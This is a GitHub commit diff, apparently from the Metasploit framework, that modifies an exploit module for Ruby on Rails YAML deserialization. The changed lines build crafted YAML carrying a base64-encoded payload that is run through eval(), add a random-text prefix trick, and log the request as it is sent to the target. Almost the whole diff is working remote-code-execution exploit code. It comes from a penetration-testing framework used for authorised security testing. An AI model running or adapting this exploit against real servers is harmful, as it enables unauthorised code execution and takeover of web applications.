File tree Expand file tree Collapse file tree 1 file changed +7
-3
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +7
-3
lines changed Original file line number Diff line number Diff line change @@ -27,7 +27,8 @@ def initialize(info = {})
27
27
'charlisome' , # PoC
28
28
'espes' , # PoC and Metasploit module
29
29
'toothfairy' , # Anonymous contributor
30
- 'hdm' # Module merge/conversion/payload work
30
+ 'hdm' , # Module merge/conversion/payload work
31
+ 'Postmodern' # The __END__ trick from https:https://gist.github.com/4499206//gist.github.com/4499206
31
32
] ,
32
33
'License' => MSF_LICENSE ,
33
34
'References' =>
@@ -87,8 +88,10 @@ def build_yaml
87
88
code = Rex ::Text . encode_base64 ( detached_payload_stub ( payload . encoded ) )
88
89
yaml =
89
90
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n " +
90
- "'; (eval(%[#{ code } ].unpack(%[m0])[0]); @e=true) unless @e #':" +
91
- " !ruby/object:OpenStruct\n table:\n :defaults: {}\n "
91
+ "'#{ Rex ::Text . rand_text_alpha ( rand ( 8 ) +1 ) } ; " +
92
+ "eval(%[#{ code } ].unpack(%[m0])[0]);' " +
93
+ ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n "
94
+ yaml
92
95
end
93
96
94
97
@@ -137,6 +140,7 @@ def build_request
137
140
#
138
141
def exploit
139
142
data = build_request
143
+ print_status ( "Sending #{ data . length } bytes to #{ rhost } :#{ rport } ..." )
140
144
res = send_request_cgi ( {
141
145
'uri' => datastore [ 'URIPATH' ] || "/" ,
142
146
'method' => datastore [ 'HTTP_METHOD' ] ,
You can’t perform that action at this time.
0 commit comments